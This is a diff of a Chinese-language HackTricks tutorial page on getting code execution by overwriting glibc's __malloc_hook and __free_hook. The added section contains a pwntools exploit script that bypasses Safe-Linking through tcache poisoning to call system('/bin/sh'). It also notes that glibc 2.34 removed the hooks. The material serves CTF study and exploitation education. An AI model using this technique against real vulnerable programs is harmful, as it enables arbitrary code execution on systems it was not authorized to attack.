diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 09dd4830b..c367b9938 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -1,14 +1,14 @@ -# WWW2Exec - \_\_malloc_hook & \_\_free_hook +# WWW2Exec - __malloc_hook & __free_hook {{#include ../../banners/hacktricks-training.md}} ## **Malloc Hook** -正如你可以在 [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) 上看到的,变量 **`__malloc_hook`** 是一个指针,指向 **每当调用 `malloc()` 时将被调用的函数的地址**,该地址 **存储在 libc 库的数据段中**。因此,如果这个地址被覆盖为一个 **One Gadget**,例如,当调用 `malloc` 时,**One Gadget 将被调用**。 +正如你可以在 [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) 上看到的,变量 **`__malloc_hook`** 是一个指针,指向 **一个将在调用 `malloc()` 时被调用的函数的地址**,该地址 **存储在 libc 库的数据段中**。因此,如果这个地址被覆盖为一个 **One Gadget**,例如,当调用 `malloc` 时,**One Gadget 将被调用**。 -要调用 malloc,可以等待程序调用它,或者通过 **调用 `printf("%10000$c")`**,这会分配太多字节,使得 `libc` 调用 malloc 在堆中分配它们。 +要调用 malloc,可以等待程序调用它,或者通过 **调用 `printf("%10000$c")`**,这会分配过多的字节,使得 `libc` 调用 malloc 在堆中分配它们。 -有关 One Gadget 的更多信息,请参见: +关于 One Gadget 的更多信息: {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md @@ -43,7 +43,7 @@ gef➤ p &__free_hook 0xf75deddd : jne 0xf75dee50 -在前面的代码中提到的中断位置,`$eax` 中将会存放 free hook 的地址。 +在前面代码中提到的中断位置,`$eax` 中将会存放 free hook 的地址。 现在进行一个 **fast bin 攻击**: @@ -60,11 +60,76 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 - 为此,创建一个大小为 `0xfc` 的新 chunk,并用该指针调用合并函数两次,这样我们就可以在快速 bin 中获得一个大小为 `0xfc*2 = 0x1f8` 的已释放 chunk 的指针。 - 然后,在这个 chunk 中调用编辑函数,将这个快速 bin 的 **`fd`** 地址修改为指向之前的 **`__free_hook`** 函数。 - 接着,创建一个大小为 `0x1f8` 的 chunk,从快速 bin 中检索之前无用的 chunk,因此再创建一个大小为 `0x1f8` 的 chunk,以在 **`__free_hook`** 中获取一个快速 bin chunk,并用 **`system`** 函数的地址覆盖它。 -- 最后,释放一个包含字符串 `/bin/sh\x00` 的 chunk,调用删除函数,触发 **`__free_hook`** 函数,该函数将 `/bin/sh\x00` 作为参数指向 system。 +- 最后,释放一个包含字符串 `/bin/sh\x00` 的 chunk,调用删除函数,触发指向系统的 **`__free_hook`** 函数,参数为 `/bin/sh\x00`。 + +--- + +## Tcache 中毒与安全链接 (glibc 2.32 – 2.33) + +glibc 2.32 引入了 **安全链接** – 一种完整性检查,保护 **tcache** 和快速 bin 使用的 *单* 链表。ptmalloc 现在不再存储原始的前向指针 (`fd`),而是用以下宏进行 *混淆*: +```c +#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr)) +#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr) +``` +后果: + +1. **堆泄漏**是必需的 – 攻击者必须知道`chunk_addr >> 12`的运行时值,以构造有效的混淆指针。 +2. 只能伪造*完整*的8字节指针;单字节部分覆盖将无法通过检查。 + +因此,覆盖glibc 2.32/2.33上的`__free_hook`的最小tcache中毒原语如下: +```py +from pwn import * + +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") +p = process("./vuln") + +# 1. Leak a heap pointer (e.g. via UAF or show-after-free) +heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00")) +heap_base = heap_leak & ~0xfff +fd_key = heap_base >> 12 # value used by PROTECT_PTR +log.success(f"heap @ {hex(heap_base)}") + +# 2. Prepare two same-size chunks and double-free one of them +a = malloc(0x48) +b = malloc(0x48) +free(a) +free(b) +free(a) # tcache double-free ⇒ poisoning primitive + +# 3. Forge obfuscated fd that points to __free_hook +free_hook = libc.sym['__free_hook'] +poison = free_hook ^ fd_key +edit(a, p64(poison)) # overwrite fd of tcache entry + +# 4. Two mallocs: the second one returns a pointer to __free_hook +malloc(0x48) # returns chunk a +c = malloc(0x48) # returns chunk @ __free_hook +edit(c, p64(libc.sym['system'])) + +# 5. Trigger +bin_sh = malloc(0x48) +edit(bin_sh, b"/bin/sh\x00") +free(bin_sh) +``` +上面的片段改编自最近的CTF挑战,例如*UIUCTF 2024 – «Rusty Pointers»*和*openECSC 2023 – «Babyheap G»*,这两个挑战都依赖于Safe-Linking绕过来覆盖`__free_hook`。 + +--- + +## glibc ≥ 2.34 中发生了什么变化? + +从**glibc 2.34(2021年8月)**开始,分配钩子`__malloc_hook`、`__realloc_hook`、`__memalign_hook`和`__free_hook`被**从公共API中移除,不再被分配器调用**。兼容符号仍然为遗留二进制文件导出,但覆盖它们不再影响`malloc()`或`free()`的控制流。 + +实际影响:在现代发行版(Ubuntu 22.04+、Fedora 35+、Debian 12等)上,您必须转向*其他*劫持原语(IO-FILE、`__run_exit_handlers`、vtable喷洒等),因为钩子覆盖将静默失败。 + +如果您仍然需要旧的行为进行调试,glibc提供`libc_malloc_debug.so`,可以预加载以重新启用遗留钩子——但该库**不适合生产环境,可能在未来的版本中消失**。 + +--- ## 参考文献 - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +- Safe-Linking – 消除20年历史的malloc()漏洞原语(Check Point Research,2020) +- glibc 2.34发布说明 – 移除malloc钩子 {{#include ../../banners/hacktricks-training.md}}